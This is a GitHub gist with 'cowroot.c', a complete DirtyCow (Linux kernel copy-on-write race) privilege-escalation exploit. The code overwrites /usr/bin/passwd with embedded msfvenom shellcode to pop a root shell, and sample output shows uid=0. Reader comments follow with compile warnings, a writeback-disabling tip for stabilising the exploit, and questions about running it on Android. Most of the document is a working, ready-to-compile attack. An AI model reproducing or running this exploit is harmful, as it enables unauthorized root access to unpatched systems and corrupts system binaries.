-
-
Save rverton/e9d4ff65d703a9084e85fa9df083c679 to your computer and use it in GitHub Desktop.
/* | |
* (un)comment correct payload first (x86 or x64)! | |
* | |
* $ gcc cowroot.c -o cowroot -pthread | |
* $ ./cowroot | |
* DirtyCow root privilege escalation | |
* Backing up /usr/bin/passwd.. to /tmp/bak | |
* Size of binary: 57048 | |
* Racing, this may take a while.. | |
* /usr/bin/passwd overwritten | |
* Popping root shell. | |
* Don't forget to restore /tmp/bak | |
* thread stopped | |
* thread stopped | |
* root@box:/root/cow# id | |
* uid=0(root) gid=1000(foo) groups=1000(foo) | |
* | |
* @robinverton | |
*/ | |
#include <stdio.h> | |
#include <stdlib.h> | |
#include <sys/mman.h> | |
#include <fcntl.h> | |
#include <pthread.h> | |
#include <string.h> | |
#include <unistd.h> | |
void *map; | |
int f; | |
int stop = 0; | |
struct stat st; | |
char *name; | |
pthread_t pth1,pth2,pth3; | |
// change if no permissions to read | |
char suid_binary[] = "/usr/bin/passwd"; | |
/* | |
* $ msfvenom -p linux/x64/exec CMD=/bin/bash PrependSetuid=True -f elf | xxd -i | |
*/ | |
unsigned char sc[] = { | |
0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, | |
0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00, | |
0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, | |
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, | |
0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00, | |
0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, | |
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, | |
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, | |
0xb1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xea, 0x00, 0x00, 0x00, | |
0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, | |
0x48, 0x31, 0xff, 0x6a, 0x69, 0x58, 0x0f, 0x05, 0x6a, 0x3b, 0x58, 0x99, | |
0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00, 0x53, 0x48, | |
0x89, 0xe7, 0x68, 0x2d, 0x63, 0x00, 0x00, 0x48, 0x89, 0xe6, 0x52, 0xe8, | |
0x0a, 0x00, 0x00, 0x00, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x62, 0x61, 0x73, | |
0x68, 0x00, 0x56, 0x57, 0x48, 0x89, 0xe6, 0x0f, 0x05 | |
}; | |
unsigned int sc_len = 177; | |
/* | |
* $ msfvenom -p linux/x86/exec CMD=/bin/bash PrependSetuid=True -f elf | xxd -i | |
unsigned char sc[] = { | |
0x7f, 0x45, 0x4c, 0x46, 0x01, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, | |
0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x03, 0x00, 0x01, 0x00, 0x00, 0x00, | |
0x54, 0x80, 0x04, 0x08, 0x34, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, | |
0x00, 0x00, 0x00, 0x00, 0x34, 0x00, 0x20, 0x00, 0x01, 0x00, 0x00, 0x00, | |
0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, | |
0x00, 0x80, 0x04, 0x08, 0x00, 0x80, 0x04, 0x08, 0x88, 0x00, 0x00, 0x00, | |
0xbc, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, | |
0x31, 0xdb, 0x6a, 0x17, 0x58, 0xcd, 0x80, 0x6a, 0x0b, 0x58, 0x99, 0x52, | |
0x66, 0x68, 0x2d, 0x63, 0x89, 0xe7, 0x68, 0x2f, 0x73, 0x68, 0x00, 0x68, | |
0x2f, 0x62, 0x69, 0x6e, 0x89, 0xe3, 0x52, 0xe8, 0x0a, 0x00, 0x00, 0x00, | |
0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x62, 0x61, 0x73, 0x68, 0x00, 0x57, 0x53, | |
0x89, 0xe1, 0xcd, 0x80 | |
}; | |
unsigned int sc_len = 136; | |
*/ | |
void *madviseThread(void *arg) | |
{ | |
char *str; | |
str=(char*)arg; | |
int i,c=0; | |
for(i=0;i<1000000 && !stop;i++) { | |
c+=madvise(map,100,MADV_DONTNEED); | |
} | |
printf("thread stopped\n"); | |
} | |
void *procselfmemThread(void *arg) | |
{ | |
char *str; | |
str=(char*)arg; | |
int f=open("/proc/self/mem",O_RDWR); | |
int i,c=0; | |
for(i=0;i<1000000 && !stop;i++) { | |
lseek(f,map,SEEK_SET); | |
c+=write(f, str, sc_len); | |
} | |
printf("thread stopped\n"); | |
} | |
void *waitForWrite(void *arg) { | |
char buf[sc_len]; | |
for(;;) { | |
FILE *fp = fopen(suid_binary, "rb"); | |
fread(buf, sc_len, 1, fp); | |
if(memcmp(buf, sc, sc_len) == 0) { | |
printf("%s overwritten\n", suid_binary); | |
break; | |
} | |
fclose(fp); | |
sleep(1); | |
} | |
stop = 1; | |
printf("Popping root shell.\n"); | |
printf("Don't forget to restore /tmp/bak\n"); | |
system(suid_binary); | |
} | |
int main(int argc,char *argv[]) { | |
char *backup; | |
printf("DirtyCow root privilege escalation\n"); | |
printf("Backing up %s to /tmp/bak\n", suid_binary); | |
asprintf(&backup, "cp %s /tmp/bak", suid_binary); | |
system(backup); | |
f = open(suid_binary,O_RDONLY); | |
fstat(f,&st); | |
printf("Size of binary: %d\n", st.st_size); | |
char payload[st.st_size]; | |
memset(payload, 0x90, st.st_size); | |
memcpy(payload, sc, sc_len+1); | |
map = mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0); | |
printf("Racing, this may take a while..\n"); | |
pthread_create(&pth1, NULL, &madviseThread, suid_binary); | |
pthread_create(&pth2, NULL, &procselfmemThread, payload); | |
pthread_create(&pth3, NULL, &waitForWrite, NULL); | |
pthread_join(pth3, NULL); | |
return 0; | |
} |
I was able to stabilize this exploit by turning off periodic write-back after the shell pops. As found in the following issue.
echo 0 > /proc/sys/vm/dirty_writeback_centisecs
The lazy(easy) approach to disabling writebacks: https://gist.github.com/joshuaskorich/86c90e12436c873e4a06bd64b461cc43
gcc cowroot.c -o cowroot -pthread
cowroot.c: In function ‘procselfmemThread’:
cowroot.c:98:17: warning: passing argument 2 of ‘lseek’ makes integer from pointer without a cast [-Wint-conversion]
lseek(f,map,SEEK_SET);
^
In file included from cowroot.c:27:0:
/usr/include/unistd.h:337:16: note: expected ‘__off_t {aka long int}’ but argument is of type ‘void *’
extern __off_t lseek (int __fd, __off_t __offset, int __whence) __THROW;
^
cowroot.c: In function ‘main’:
cowroot.c:135:5: warning: implicit declaration of function ‘asprintf’ [-Wimplicit-function-declaration]
asprintf(&backup, "cp %s /tmp/bak", suid_binary);
^
cowroot.c:139:5: warning: implicit declaration of function ‘fstat’ [-Wimplicit-function-declaration]
fstat(f,&st);
^
cowroot.c:141:12: warning: format ‘%d’ expects argument of type ‘int’, but argument 2 has type ‘__off_t {aka long int}’ [-Wformat=]
printf("Size of binary: %d\n", st.st_size);
^
When copying sc
into payload
, why use memcpy(payload, sc, sc_len+1);
instead of memcpy(payload, sc, sc_len);
?
sc_len+1
seems meaningless and copys out of sc
array.
goddammit I used this exploit because i forgot my new root password and I didn't realize it alters passwd binary so then I couldn't reset my password to proper one! :<
luckily it doesn't affect snapshots so at least I could revert /etc/shadow and /bin/passwd from old snapshot >.>
how can i compile it in order to run it on android device?
how you generate the payload of the metasploit in hexcode(shell code)?
Any reason why we use 100
as size with madvise
Awesome, saved my old dev computer after I forgot my root creds.
TheBunnyCoder no, it isn´t happen. It means it doesn´t work in your machine
It works but freeze the machine. I think there isn´t other way like cowroot
version `GLIBC_2.34' not found
./cowroot: /lib/x86_64-linux-gnu/libc.so.6: version GLIBC_2.33' not found (required by ./cowroot) ./cowroot: /lib/x86_64-linux-gnu/libc.so.6: version
GLIBC_2.34' not found (required by ./cowroot)
The warnings are normal. This PoC crashes on some systems and on some others it's stable. I can't fix this for now.
Maybe you can find a different PoC from here, which makes use of another technique and does not crash.